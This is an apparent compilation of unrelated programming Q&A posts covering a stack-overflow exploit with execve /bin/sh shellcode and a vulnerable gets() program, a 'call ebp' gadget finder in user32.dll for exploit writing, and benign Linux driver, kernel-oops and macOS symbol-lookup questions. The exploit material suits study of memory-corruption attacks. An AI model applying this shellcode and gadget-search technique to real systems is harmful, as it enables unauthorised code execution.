I'm trying to overflow buffer with my shellcode and I have a problems with gets().
If I overflow buffer with shellcode using strcpy() function - it's OK and I got a /bin/bash. But if I do the same with gets() function it shows me nothing. I tried ret2text attack with gets() and it works fine, bun if I try overflow with malicious code(shell) it doesn't work.
I turned off stack-protector (-fno-stack-protector), disabled ASLR (echo 0 > randomize_va_space), enabled stack execution (-z execstack)
here is shellcode
xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
here is vuln prog
#include <stdio.h>
#include <string.h>
int ask_user(void)
{
int ret;
char name[10];
printf("Your Name: ");
fflush(stdout);
gets(name);
ret = strcmp(name, "Peter");
if (ret == 0)
return 1;
return 0;
}
int main(int argc, char *argv[])
{
int is_peter;
printf("This Application finds the Peter!\n");
is_peter = ask_user();
if (is_peter == 1)
{
printf("Lol, you are a real Peter!\n");
return 0;
}
printf("Ups, no Peter :-/\n");
return 0;
}
some gdb
gdb$ si
--------------------------------------------------------------------------[regs]
EAX: 0x0000000B EBX: 0xBFFFEF22 ECX: 0x00000000 EDX: 0x00000000 o d I t s Z a P c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0x41414141 ESP: 0xBFFFEF10 EIP: 0xBFFFEF1B
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0xbfffef1b: int 0x80
0xbfffef1d: call 0xbfffef12
0xbfffef22: das
0xbfffef23: bound ebp,QWORD PTR [ecx+0x6e]
0xbfffef26: das
0xbfffef27: jae 0xbfffef91
0xbfffef29: add BYTE PTR [eax+ecx*1],al
0xbfffef2c: add BYTE PTR [eax],al
--------------------------------------------------------------------------------
0xbfffef1b in ?? ()
gdb$ x/1sb $ebx
0xbfffef22: "/bin/sh"
gdb$ x/1sb $esp
0xbfffef10: "ë\v[1À1É1Ò°\vÍ\200èð\377\377\377/bin/sh"
gdb$ si
process 3697 is executing new program: /bin/bash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
[Inferior 1 (process 3697) exited normally]
--------------------------------------------------------------------------[regs]
EAX:Error while running hook_stop:
No registers.
As you can see in debugger the shell is start and exit at the moment. When I used strcpy it start shell and not exit
There is a difference of behaviour between strcpy and gets.
You should try using something like this in order to let the stdin open :
(cat /tmp/yourbuffer;cat) | ./vuln
Related
I write my pci driver for custom board on a PowerPC processor (p2020). I use X520 ehternet adapter for testing. When I compile it for x86, it works fine, but when I compile it for my custom board, it reads only 0xffffffff on all BARs.
Here is my code:
printk(KERN_INFO "sol probe\r\n");
bar_mask = pci_select_bars(dev, IORESOURCE_MEM_64);
printk("bar_mask 0x%08x PCI_NUM_RESOURCES %d\r\n", bar_mask, PCI_NUM_RESOURCES);
mmio_base = pci_resource_start( dev, bar_num );
mmio_size = pci_resource_len( dev, bar_num );
printk("sol dev BAR%i address = %lx, len = %lx\n", bar_num, mmio_base, mmio_size);
/*
if(pci_enable_msi(dev)){
printk(KERN_ALERT "Cannot enable MSI\r\n");
}
*/
if(pci_user_write_config_word(dev, 0x04, 0x0000)){
printk(KERN_ALERT "Cannot write command config\r\n");
}
if(pci_user_write_config_byte(dev, 0x0c, 0x0000)){
printk(KERN_ALERT "Cannot write cache line size config config\r\n");
}
read_config32(dev, 0, 0x3c);
if(pci_request_region(dev, bar_num, SOL_DRV_NAME)){
printk(KERN_ALERT "I/O resource busy\r\n");
return -EBUSY;
}
if(pci_enable_device(dev)){
printk(KERN_ALERT "Cannot enable memory space access!\r\n");
return ENODEV;
}
iomap = pci_iomap(dev, bar_num, 0);
if ( !iomap )
{
printk(KERN_ALERT "Cannot IO map at PCI BAR%i!\n", bar_num);
return -ENOSPC;
}
ret = pci_resource_flags(dev, bar_num);
printk(KERN_ALERT "flags 0x%x08\n", ret);
if(!(ret & IORESOURCE_MEM)){
printk(KERN_ALERT "IORESORCE_MEM flag isn't seti\n");
}
read_bars(0xf);
return 0;
read BAR
static void read_bars(unsigned int n){
unsigned long i;
printk(KERN_INFO "iomap\t0x%08x\r\n", (u32)iomap);
for(i = 0; i < (n << 2); i+=4){
printk(KERN_INFO "bar 0x%08lx\t: 0x%08x\r\n",\
i, readl(iomap+i));
}
Register ranges for pcie0 in dts was incorrect. After correting, it works.
You could read about Device tree usage (dts) here
I had wrong parameter "ranges". It describes addreses for mapping PCI BAR memory space into CPU memory space. My patch is
< ranges = <0x2000000 0x0 0xc0000000 0 0xc0000000 0x0 0x20000000
< 0x1000000 0x0 0x00000000 0 0xffc20000 0x0 0x10000>;
> ranges = <0x2000000 0x0 0xe0000000 0 0x80000000 0x0 0x20000000
> 0x1000000 0x0 0x00000000 0 0xffc00000 0x0 0x10000>;
I'm referencing this answer for crash help in analyzing this bit of code which caused problems. The context for everyone, I'm working a character driver, which will act as a pass through from user space directly to the hardware, for the ahci driver. I'm modifying the ahci driver accordingly for this purpose.
I'm starting small. I want to peek at the port registers for the HBA port 0 of the AHCI HBA on my VM. My character driver ioctl code:
switch (cmd) {
case AHCIP_GPORT_REG:
pPciDev = pci_get_device(0x8086, 0x2829, NULL);
if (pPciDev) {
/* This will set ret to the value that it needs to be. This
* is true of __put_user() too */
if ((ret = __get_user(off, (u32*)obj))) {
printk(KERN_INFO "unable to read from user space\n");
goto ioctl_quick_out;
}
reg = get_port_reg(&pPciDev->dev, off);
if ((ret = __put_user(reg, (u32*)obj)))
{
printk(KERN_INFO "Unable to write to user space\n");
}
pci_dev_put(pPciDev);
}
// This break wasn't in the code when it crashed
break;
default:
// POSIX compliance with this one (REF of LDD3)
ret = -ENOTTY;
}
The code from my modified version of ahci.c which this character driver calls into:
u32 get_port_reg(struct device *dev, u32 off)
{
struct Scsi_Host *shost = class_to_shost(dev);
struct ata_port *ap = ata_shost_to_port(shost);
void __iomem *port_mmio = ahci_port_base(ap);
return ioread32(port_mmio + off);
}
EXPORT_SYMBOL(get_port_reg);
The kernel oops that this caused, happened here:
PID: 3357 TASK: ffff88011c9b7500 CPU: 0 COMMAND: "peek"
#0 [ffff8800abfc79f0] machine_kexec at ffffffff8103b5bb
#1 [ffff8800abfc7a50] crash_kexec at ffffffff810c9852
#2 [ffff8800abfc7b20] oops_end at ffffffff8152e0f0
#3 [ffff8800abfc7b50] no_context at ffffffff8104c80b
#4 [ffff8800abfc7ba0] __bad_area_nosemaphore at ffffffff8104ca95
#5 [ffff8800abfc7bf0] bad_area at ffffffff8104cbbe
#6 [ffff8800abfc7c20] __do_page_fault at ffffffff8104d36f
#7 [ffff8800abfc7d40] do_page_fault at ffffffff8153003e
#8 [ffff8800abfc7d70] page_fault at ffffffff8152d3f5
[exception RIP: get_port_reg+18]
RIP: ffffffffa03c4cd2 RSP: ffff8800abfc7e28 RFLAGS: 00010246
RAX: 0000000000020101 RBX: 00007fff17273960 RCX: ffffffff812b0710
RDX: ffff88011ddd5000 RSI: 0000000000000000 RDI: ffff88011ddd5090
RBP: ffff8800abfc7e28 R8: 0000000000000000 R9: 0000000000000000
R10: 00000000000007d5 R11: 0000000000000006 R12: ffff88011ddd5000
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
ORIG_RAX: ffffffffffffffff CS: 0010 SS: 0018
As you can see, the instruction pointer was get_port_reg+18. Since this function is quite small, here's the full disassembly
crash> dis get_port_reg
0xffffffffa03c4cc0 <get_port_reg>: push %rbp
0xffffffffa03c4cc1 <get_port_reg+1>: mov %rsp,%rbp
0xffffffffa03c4cc4 <get_port_reg+4>: nopl 0x0(%rax,%rax,1)
0xffffffffa03c4cc9 <get_port_reg+9>: mov 0x240(%rdi),%rax
0xffffffffa03c4cd0 <get_port_reg+16>: mov %esi,%esi
0xffffffffa03c4cd2 <get_port_reg+18>: mov 0x2838(%rax),%rdx
0xffffffffa03c4cd9 <get_port_reg+25>: mov 0x28(%rax),%eax
0xffffffffa03c4cdc <get_port_reg+28>: mov 0x10(%rdx),%rdx
0xffffffffa03c4ce0 <get_port_reg+32>: shl $0x7,%eax
0xffffffffa03c4ce3 <get_port_reg+35>: mov %eax,%eax
0xffffffffa03c4ce5 <get_port_reg+37>: add 0x28(%rdx),%rax
0xffffffffa03c4ce9 <get_port_reg+41>: lea 0x100(%rax,%rsi,1),%rdi
0xffffffffa03c4cf1 <get_port_reg+49>: callq 0xffffffff8129dde0 <ioread32>
0xffffffffa03c4cf6 <get_port_reg+54>: leaveq
0xffffffffa03c4cf7 <get_port_reg+55>: retq
0xffffffffa03c4cf8 <get_port_reg+56>: nopl 0x0(%rax,%rax,1)
As you might have guessed, I'm something of an assembly neophyte. Which line of code would be get_port_reg+18? I'm puzzled because I'm calling functions on each line of that function but the only call I see is to ioread32().
For reference, I've modeled my function get_port_reg after ahci_show_port_cmd() within the same file. I could not think of any other means of getting the struct pci_dev structure necessary on which this is to operate. Am I making bad use of get_pci_device() and pci_dev_put()? Is this not the issue at all?
Thanks for any help
Andy
I am going to post my own answer. The two commentators of my question have put me onto the correct path for fixing this. As I mentioned, my approach was to do something which I'd seen done elsewhere in the ahci driver (ahci.c). Basically, the assumption was simple, this function in ahci.c required a struct device* and from that was able to get the ata_port information that was required. I'd seen, in ahci.c, that the author had done struct device* = &pdev->dev; occasionally. In other words, I figured that the dev member of struct pci_dev was getting me what I needed. I was apparently unaware of "class types" or something similar (see #myaut's first comment). #alexhoppus essentially draws the same/similar conclusion based on the code and disassembly which I posted.
The fix which I have employed, and which does work nicely, is as follows:
/* ioctl code in character driver */
switch (cmd) {
case AHCIP_GPORT_REG:
pPciDev = pci_get_device(0x8086, 0x2829, NULL);
if (pPciDev) {
struct ata_host *pHost = NULL;
struct ata_port *pPort = NULL;
printk(KERN_INFO "found the PCI device\n");
/* Get the devices driver data */
pHost = pci_get_drvdata(pPciDev);
if (!pHost) {
ret = -EFAULT;
goto ioctl_valid_pci_dev_out;
}
/* for this test, we'll use just port 0 */
pPort = pHost->ports[0];
if (!pPort) {
ret = -EFAULT;
goto ioctl_valid_pci_dev_out;
}
/* This will set ret to the value that it needs to be. This
* is true of __put_user() too */
if ((ret = __get_user(off, (u32*)obj))) {
printk(KERN_INFO "unable to read from user space\n");
goto ioctl_valid_pci_dev_out;
}
reg = get_port_reg(pPort, off);
if ((ret = __put_user(reg, (u32*)obj)))
{
printk(KERN_INFO "Unable to write to user space\n");
}
}
break;
default:
// POSIX compliance with this one (REF of LDD3)
ret = -ENOTTY;
}
The ahci driver was modified thusly as well
u32 get_port_reg(struct ata_port* pPort, u32 off)
{
void __iomem *port_mmio = ahci_port_base(pPort);
return ioread32(port_mmio + off);
}
EXPORT_SYMBOL(get_port_reg);
Though this has fixed the issue for me, I would really appreciate someone explaining to me what is placed in (struct pci_dev)device.dev.p->driver_data. I can use, and have, the Linux cross referencing tools to see the data types. What is supposed to be stored instruct device_private`? This is the structure which I'm now using to get the data I need. I'd truly appreciate someone commenting on this answer to explain that one.
Thanks to #myaut and #alexhoppus
I tried with
extern void __NSAutoreleaseNoPool(void* obj);
but that results in an unresolved symbol when linking (not sure what Framework it needs, though).
I also tried
dlsym(RTLD_DEFAULT, "__NSAutoreleaseNoPool")
but that just gives be NULL.
And I tried with _dyld_lookup_and_bind and NSLookupSymbolInImage but they also don't work.
dsymutil and nm both find the symbol, though:
$ dsymutil -s --arch=x86_64
----------------------------------------------------------------------
/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
----------------------------------------------------------------------
Symbol table for: '/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation' (x86_64)
----------------------------------------------------------------------
Index n_strx n_type n_sect n_desc n_value
======== -------- ------------------ ------ ------ ----------------
[ 0] 00010795 1e (PEXT SECT ) 01 0000 0000000000000000 '__mh_dylib_header'
[ 1] 000107a7 0e ( SECT ) 01 0000 0000000000001c20 '+[NSObject(NSObject) load]'
[ 2] 000107c2 0e ( SECT ) 01 0000 0000000000002630 '___exceptionInit'
[ 3] 000107d3 0e ( SECT ) 01 0000 00000000000029e0 '___CFgetenv'
[ 4] 000107df 0e ( SECT ) 01 0000 0000000000002a50 '___CFBaseInitialize'
...
[ 1923] 0001e820 0e ( SECT ) 01 0000 000000000010ad30 '___NSAutoreleaseNoPool'
...
$ nm -arch x86_64 /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
...
000000000010ad30 t ___NSAutoreleaseNoPool
...
(That is on MacOSX 10.6. On later MacOSX versions, the symbol really does not seem to exists, at least I cannot find any ref via grep in /usr/lib and /System/Library/Frameworks and also LLDB does not find it. Probably it was removed somehow with ARC.)
So, how can I get that address in my code?
(Related questions: here and here)
(My motivation to do this is here.)
This works:
#include <dlfcn.h>
#include <stdio.h>
#import <Foundation/Foundation.h>
#include <mach-o/dyld.h>
#include <mach-o/nlist.h>
#include <string.h>
#include <assert.h>
// Adapted from:
// https://github.com/0xced/iOS-Artwork-Extractor/blob/master/Classes/FindSymbol.c
// Adapted from MoreAddrToSym / GetFunctionName()
// http://www.opensource.apple.com/source/openmpi/openmpi-8/openmpi/opal/mca/backtrace/darwin/MoreBacktrace/MoreDebugging/MoreAddrToSym.c
void *FindSymbol(const struct mach_header *img, const char *symbol)
{
if ((img == NULL) || (symbol == NULL))
return NULL;
// only 64bit supported
#if defined (__LP64__)
if(img->magic != MH_MAGIC_64)
// we currently only support Intel 64bit
return NULL;
struct mach_header_64 *image = (struct mach_header_64*) img;
struct segment_command_64 *seg_linkedit = NULL;
struct segment_command_64 *seg_text = NULL;
struct symtab_command *symtab = NULL;
unsigned int index;
struct load_command *cmd = (struct load_command*)(image + 1);
for (index = 0; index < image->ncmds; index += 1, cmd = (struct load_command*)((char*)cmd + cmd->cmdsize))
{
switch(cmd->cmd)
{
case LC_SEGMENT_64: {
struct segment_command_64* segcmd = (struct segment_command_64*)cmd;
if (!strcmp(segcmd->segname, SEG_TEXT))
seg_text = segcmd;
else if (!strcmp(segcmd->segname, SEG_LINKEDIT))
seg_linkedit = segcmd;
break;
}
case LC_SYMTAB:
symtab = (struct symtab_command*)cmd;
break;
default:
break;
}
}
if ((seg_text == NULL) || (seg_linkedit == NULL) || (symtab == NULL))
return NULL;
unsigned long vm_slide = (unsigned long)image - (unsigned long)seg_text->vmaddr;
unsigned long file_slide = ((unsigned long)seg_linkedit->vmaddr - (unsigned long)seg_text->vmaddr) - seg_linkedit->fileoff;
struct nlist_64 *symbase = (struct nlist_64*)((unsigned long)image + (symtab->symoff + file_slide));
char *strings = (char*)((unsigned long)image + (symtab->stroff + file_slide));
struct nlist_64 *sym;
for (index = 0, sym = symbase; index < symtab->nsyms; index += 1, sym += 1)
{
if (sym->n_un.n_strx != 0 && !strcmp(symbol, strings + sym->n_un.n_strx))
{
unsigned long address = vm_slide + sym->n_value;
if (sym->n_desc & N_ARM_THUMB_DEF)
return (void*)(address | 1);
else
return (void*)(address);
}
}
#endif
return NULL;
}
typedef void (*NSAutoreleaseNoPoolFunc) (void* obj);
void getNSAutoreleaseNoPool() {
const struct mach_header* img = NSAddImage("/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation", NSADDIMAGE_OPTION_NONE);
NSAutoreleaseNoPoolFunc f = (NSAutoreleaseNoPoolFunc) FindSymbol((struct mach_header*)img, "___NSAutoreleaseNoPool");
printf("func: %p\n", f);
if(f) {
NSObject* foo = [[NSObject alloc] init];
f(foo);
}
}
It gets the same function pointer as within GDB.
Note that you wont see the common NSAutoreleaseNoPool log:
2014-02-18 14:46:26.583 a.out[24989:a0b] *** __NSAutoreleaseNoPool(): Object 0x7fff71154190 of class NSCFString autoreleased with no pool in place - just leaking
The standard backtrace, when that happens, is this:
(gdb) bt
#0 0x00007fff8724bd34 in __NSAutoreleaseNoPool ()
#1 0x00007fff87196e79 in _CFAutoreleasePoolAddObject ()
#2 0x00007fff87196be6 in -[NSObject(NSObject) autorelease] ()
The actual NSLog call is done in _CFAutoreleasePoolAddObject.
A note about __NSAutoreleaseNoPool, from Foundation/NSDebug.h:
/**************** Autorelease pool debugging ****************/
// Functions used as interesting breakpoints in a debugger
// void __NSAutoreleaseNoPool(void *object);
// Called to log the "Object X of class Y autoreleased with no
// pool in place - just leaking" message. If an environment
// variable named "NSAutoreleaseHaltOnNoPool" is set with string
// value "YES", the function will automatically break in the
// debugger (or terminate the process).
// void __NSAutoreleaseFreedObject(void *freedObject);
// Called when a previously freed object would be released
// by an autorelease pool. If an environment variable named
// "NSAutoreleaseHaltOnFreedObject" is set with string value
// "YES", the function will automatically break in the debugger
// (or terminate the process).
So, if you want to debug such cases, either start up GDB and issue b __NSAutoreleaseNoPool to setup the breakpoint on this function. Or do an export NSAutoreleaseHaltOnNoPool=1 in your shell.
__NSAutoreleaseNoPool is pretty simple:
(gdb) disassemble
Dump of assembler code for function __NSAutoreleaseNoPool:
0x00007fff8724bd30 <__NSAutoreleaseNoPool+0>: push %rbp
0x00007fff8724bd31 <__NSAutoreleaseNoPool+1>: mov %rsp,%rbp
0x00007fff8724bd34 <__NSAutoreleaseNoPool+4>: nop
0x00007fff8724bd35 <__NSAutoreleaseNoPool+5>: nopl 0x0(%rax)
0x00007fff8724bd39 <__NSAutoreleaseNoPool+9>: lea 0x2ced8(%rip),%rdi # 0x7fff87278c18 <__PRETTY_FUNCTION__.27904+480>
0x00007fff8724bd40 <__NSAutoreleaseNoPool+16>: callq 0x7fff871439e0 <__CFgetenv>
0x00007fff8724bd45 <__NSAutoreleaseNoPool+21>: test %rax,%rax
0x00007fff8724bd48 <__NSAutoreleaseNoPool+24>: je 0x7fff8724bd55 <__NSAutoreleaseNoPool+37>
0x00007fff8724bd4a <__NSAutoreleaseNoPool+26>: movzbl (%rax),%eax
0x00007fff8724bd4d <__NSAutoreleaseNoPool+29>: cmp $0x59,%al
0x00007fff8724bd4f <__NSAutoreleaseNoPool+31>: je 0x7fff8724bd60 <__NSAutoreleaseNoPool+48>
0x00007fff8724bd51 <__NSAutoreleaseNoPool+33>: cmp $0x79,%al
0x00007fff8724bd53 <__NSAutoreleaseNoPool+35>: je 0x7fff8724bd60 <__NSAutoreleaseNoPool+48>
0x00007fff8724bd55 <__NSAutoreleaseNoPool+37>: leaveq
0x00007fff8724bd56 <__NSAutoreleaseNoPool+38>: retq
0x00007fff8724bd57 <__NSAutoreleaseNoPool+39>: nopw 0x0(%rax,%rax,1)
0x00007fff8724bd60 <__NSAutoreleaseNoPool+48>: int3
0x00007fff8724bd61 <__NSAutoreleaseNoPool+49>: callq 0x7fff872609c2 <dyld_stub_getpid>
0x00007fff8724bd66 <__NSAutoreleaseNoPool+54>: mov %eax,%edi
0x00007fff8724bd68 <__NSAutoreleaseNoPool+56>: mov $0x9,%esi
0x00007fff8724bd6d <__NSAutoreleaseNoPool+61>: leaveq
0x00007fff8724bd6e <__NSAutoreleaseNoPool+62>: jmpq 0x7fff87260a16 <dyld_stub_kill>
0x00007fff8724bd73 <__NSAutoreleaseNoPool+67>: nopw 0x0(%rax,%rax,1)
0x00007fff8724bd79 <__NSAutoreleaseNoPool+73>: nopl 0x0(%rax)
End of assembler dump.
For a practical example, see demo_NSAutoreleaseNoPool.mm.
How can I find the in-memory address (for exploit writing) of a specific instruction?
Specifically, I'm looking for a call ebp instruction in user32.dll on Windows XP with no Service Pack whose address I can point EIP to. I have both Immunity Debugger and OllyDBG installed on the target.
To find an instruction, you need to figure out where the code, .text, section starts and ends, then load the DLL and just do liner search until you find the instruction.
Here we have a test DLL that has two call ebp instructions:
// test.c
// gcc -Wall -shared test.c -o test.dll
#include <stdio.h>
__declspec(dllexport) void test(void) {
asm("call *%ebp");
puts("test");
asm("call *%ebp");
}
Compile it and load the DLL in ollydbg and click CTRL+F and search for CALL EBP:
6BEC125A |. FFD5 CALL EBP
6BEC125C |. C70424 6430EC6> MOV DWORD PTR SS:[ESP],test.6BEC3064 ; |ASCII "test"
6BEC1263 |. E8 74060000 CALL <JMP.&msvcrt.puts> ; \puts
6BEC1268 |. FFD5 CALL EBP
you see the address of the first instruction is at 0x6bec125a the second at 0x6bec1268. The opcode of call ebp is 0xff 0xd5, remember this.
Now we need to find the boundaries of the code, you can use objdump with -h:
> objdump --headers test.dll
test.dll: file format pei-i386
Sections:
Idx Name Size VMA LMA File off Algn
0 .text 00000984 6bec1000 6bec1000 00000600 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE, DATA
1 .data 00000008 6bec2000 6bec2000 00001000 2**2
CONTENTS, ALLOC, LOAD, DATA
2 .rdata 0000011c 6bec3000 6bec3000 00001200 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
....
>
the code starts at VMA, virtual memory address, 0x6bec1000 and its size is 0x984, so it ends at 0x6bec1000 + 0x984 = 0x6bec1984 as :
0x6bec1000
....
what is between are the DLL instructions
....
0x6bec1984
I hope that was clear so far.
If we want to code our call ebp scanner, we need to do the flowing:
Read the PE information and get the executable section information, usually .text, to find its relative address and its virtual size.
Load the DLL using LoadLibrary, it will return the base address of the DLL.
The virtual address of the beginning of the code section is: DLL base address + code section virtualAddress and it ends at DLL base address + code section virtualAddress + VirtualSize.
Now we are ready to loop through the code and look for 0xff 0xd5, call ebp's opcode, simple liner search.
Here is a simple implementation:
// findopcode.c
// gcc -Wall findopcode.c -o findopcode
#include <windows.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
const char opcode[] = {0xff, 0xd5}; // The opcode of `call ebp'
FILE *dllFile;
HMODULE dllHandle;
IMAGE_DOS_HEADER dosHeader;
IMAGE_NT_HEADERS NtHeaders;
IMAGE_SECTION_HEADER sectionHeader;
unsigned int i;
unsigned char *starAddr;
unsigned char *endAddr;
if( argc < 2 ) {
printf("usage: %s [DLL]\n", argv[0]);
return -1;
}
if( ( dllFile = fopen(argv[1], "rb") ) == NULL ) {
perror("[!] Error");
return -1;
}
// Read the basic PE headers
fread(&dosHeader, sizeof(dosHeader), 1, dllFile);
fseek(dllFile, dosHeader.e_lfanew, SEEK_SET);
fread(&NtHeaders, sizeof(NtHeaders), 1, dllFile);
// Search for the executable section, .text section.
for( i = 0 ; i < NtHeaders.FileHeader.NumberOfSections ; i++ ) {
fread(§ionHeader, sizeof(sectionHeader), 1, dllFile);
// If we found a section that contains executable code,
// we found our code setion.
if( (sectionHeader.Characteristics & IMAGE_SCN_CNT_CODE) != 0 ) {
printf("[*] Code section: `%s'\n", sectionHeader.Name);
break;
}
}
fclose(dllFile);
// Load the DLL to get it's base address
if( (dllHandle = LoadLibraryA(argv[1])) == NULL ) {
printf("[!] Error: loading the DLL, 0x%.8x\n", (unsigned int) GetLastError());
return -1;
}
// The code start at : base address + code virtual address
starAddr = (unsigned char *) dllHandle + sectionHeader.VirtualAddress;
// It ends at : base address + code virtual address + virtual size
endAddr = (unsigned char *) starAddr + sectionHeader.Misc.VirtualSize;
printf("[*] Base address : 0x%.8x\n", (unsigned int) dllHandle);
printf("[*] Start address: 0x%.8x\n", (unsigned int) starAddr);
printf("[*] End address : 0x%.8x\n", (unsigned int) endAddr);
// Simple liner search, when ever we find `0xff 0xd5' we print that address
for( endAddr -= sizeof(opcode) ; starAddr < endAddr ; starAddr++ ) {
if( memcmp(&opcode, (void *) starAddr, sizeof(opcode)) == 0 ) {
printf("[*] Found `call ebp` at: 0x%.8x\n", (unsigned int) starAddr);
}
}
FreeLibrary(dllHandle);
return 0;
}
Compile it and test it with that DLL:
> gcc -Wall findopcode.c -o findopcode
> findopcode.exe test.dll
[*] Code section: `.text'
[*] Base address : 0x6bec0000
[*] Start address: 0x6bec1000
[*] End address : 0x6bec1984
[*] Found `call ebp` at: 0x6bec125a
[*] Found `call ebp` at: 0x6bec1268
>
It works pretty well, let's try user32.dll:
> findopcode.exe \Windows\System32\user32.dll
[*] Code section: `.text'
[*] Base address : 0x75680000
[*] Start address: 0x75681000
[*] End address : 0x756e86ef
[*] Found `call ebp` at: 0x756b49b5
>
I only found one call ebp at 0x756b49b5. Note, you way want to check if you have a read access before you read with memcmp using IsBadReadPtr:
if( IsBadReadPtr(starAddr, sizeof(opcode)) == 0 &&
memcmp(&opcode, (void *) starAddr, sizeof(opcode)) == 0 ) {
so the program won't fail if you hit some area with some weird access.
An alternative way is to use the msfpescan from the metasploit framework:
msfpescan -j ebp user32.dll
Please help me to solve this Oops. I use a 1 milli sec high resolution timer and installing it as a seperate module with "insmod". This fires every 1 ms and i have to do some task with this timer interrupt. There are other processes which does image transfer and i see ethernet driver interrupt appearing to send the image. This enet interrupt is having some high priority and looks like it is delaying the 1 ms timer interrupt above, but i am not sure.
I see the below Oops after running test for 3 to 3 hours. How to root cause this ?
please help.
The system is ARM omap, running Linux 2.6.33 cross compiled.
[root#user:/]#
Unable to handle kernel paging request at virtual address 7eb52754
pgd = 80004000
[7eb52754] *pgd=00000000
Internal error: Oops: 80000005 [#1] PREEMPT
last sysfs file: /sys/devices/virtual/spi/spi/dev
Modules linked in: mod timermod mod2(P) mod3(P) mod4
CPU: 0 Tainted: P (2.6.33_appl #1)
PC is at 0x7eb52754
LR is at walk_stackframe+0x24/0x40
pc : [<7eb52754>] lr : [<8002d4dc>] psr: a0000013
sp : 80395f10 ip : 80395f30 fp : 80395f2c
r10: 0000001f r9 : 00000000 r8 : 87a25200
r7 : 878b0380 r6 : 80395f40 r5 : 80028374 r4 : 80395f30
r3 : 80000100 r2 : 80395f40 r1 : 80395f40 r0 : 80395f30
Flags: NzCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment kernel
Control: 10c5387d Table: 86fb0019 DAC: 00000017
Process swapper (pid: 0, stack limit = 0x803942e8)
Stack: (0x80395f10 to 0x80396000)
5f00: 8002bfa4 00000001 802c678c 87a25380
5f20: 80395f54 80395f30 8002bfe0 8002d4c4 80395f54 80395f30 8004998c 8002bfa4
5f40: 00000002 00000002 80395f6c 80395f58 8004998c 8002bfb0 80396ea8 80394000
5f60: 80395fa4 80395f70 802c678c 800498d0 8002b320 80023218 80398408 80021e10
5f80: 80394000 8002321c 80023218 80398408 80021e10 413fc082 80395fbc 80395fa8
5fa0: 8002b324 802c62fc 803f4cc8 803f5190 80395fcc 80395fc0 802c3ee4 8002b28c
5fc0: 80395ff4 80395fd0 8000897c 802c3e6c 800084fc 00000000 00000000 8002321c
5fe0: 10c53c7d 803c7630 00000000 80395ff8 80008034 80008754 00000000 00000000
Backtrace:
[<8002d4b8>] (walk_stackframe+0x0/0x40) from [<8002bfe0>] (return_address+0x3c/0x5c)
r6:87a25380 r5:802c678c r4:00000001 r3:8002bfa4
[<8002bfa4>] (return_address+0x0/0x5c) from [<8004998c>] (sub_preempt_count+0xc8/0xfc)
[<800498c4>] (sub_preempt_count+0x0/0xfc) from [<802c678c>] (schedule+0x49c/0x4d8)
r5:80394000 r4:80396ea8
[<802c62f0>] (schedule+0x0/0x4d8) from [<8002b324>] (cpu_idle+0xa4/0xbc)
r9:413fc082 r8:80021e10 r7:80398408 r6:80023218 r5:8002321c
r4:80394000
[<8002b280>] (cpu_idle+0x0/0xbc) from [<802c3ee4>] (rest_init+0x84/0xa0)
r4:803f5190 r3:803f4cc8
[<802c3e60>] (rest_init+0x0/0xa0) from [<8000897c>] (start_kernel+0x234/0x284)
[<80008748>] (start_kernel+0x0/0x284) from [<80008034>] (__enable_mmu+0x0/0x2c)
Code: bad PC value
---[ end trace 7e26218fd59f68a5 ]---
Kernel panic - not syncing: Attempted to kill the idle task!
Backtrace:
[<8002db2c>] (dump_backtrace+0x0/0x114) from [<802c610c>] (dump_stack+0x20/0x24)
r6:fffffffc r5:0000000b r4:803c8518 r3:00000002
[<802c60ec>] (dump_stack+0x0/0x24) from [<802c6168>] (panic+0x58/0x130)
[<802c6110>] (panic+0x0/0x130) from [<80057330>] (do_exit+0x7c/0x6e0)
r3:80394000 r2:00000000 r1:80395d28 r0:80348e90
[<800572b4>] (do_exit+0x0/0x6e0) from [<8002dfc0>] (die+0x290/0x2c4)
r7:7eb52744
[<8002dd30>] (die+0x0/0x2c4) from [<8002f4d4>] (__do_kernel_fault+0x74/0x84)
r7:80395ec8
[<8002f460>] (__do_kernel_fault+0x0/0x84) from [<8002f6bc>] (do_page_fault+0x1d8/0x1f0)
r7:00000000 r6:80395ec8 r5:7eb52754 r4:80396ea8
[<8002f4e4>] (do_page_fault+0x0/0x1f0) from [<8002f794>] (do_translation_fault+0x20/0x80)
[<8002f774>] (do_translation_fault+0x0/0x80) from [<80029250>] (do_PrefetchAbort+0x44/0xa8)
r6:7eb52754 r5:80398820 r4:00000005 r3:8002f774
[<8002920c>] (do_PrefetchAbort+0x0/0xa8) from [<80029d1c>] (__pabt_svc+0x5c/0xa0)
Exception stack(0x80395ec8 to 0x80395f10)
5ec0: 80395f30 80395f40 80395f40 80000100 80395f30 80028374
5ee0: 80395f40 878b0380 87a25200 00000000 0000001f 80395f2c 80395f30 80395f10
5f00: 8002d4dc 7eb52754 a0000013 ffffffff
r7:878b0380 r6:80395f40 r5:80395efc r4:ffffffff
[<8002d4b8>] (walk_stackframe+0x0/0x40) from [<8002bfe0>] (return_address+0x3c/0x5c)
r6:87a25380 r5:802c678c r4:00000001 r3:8002bfa4
[<8002bfa4>] (return_address+0x0/0x5c) from [<8004998c>] (sub_preempt_count+0xc8/0xfc)
[<800498c4>] (sub_preempt_count+0x0/0xfc) from [<802c678c>] (schedule+0x49c/0x4d8)
r5:80394000 r4:80396ea8
[<802c62f0>] (schedule+0x0/0x4d8) from [<8002b324>] (cpu_idle+0xa4/0xbc)
r9:413fc082 r8:80021e10 r7:80398408 r6:80023218 r5:8002321c
r4:80394000
[<8002b280>] (cpu_idle+0x0/0xbc) from [<802c3ee4>] (rest_init+0x84/0xa0)
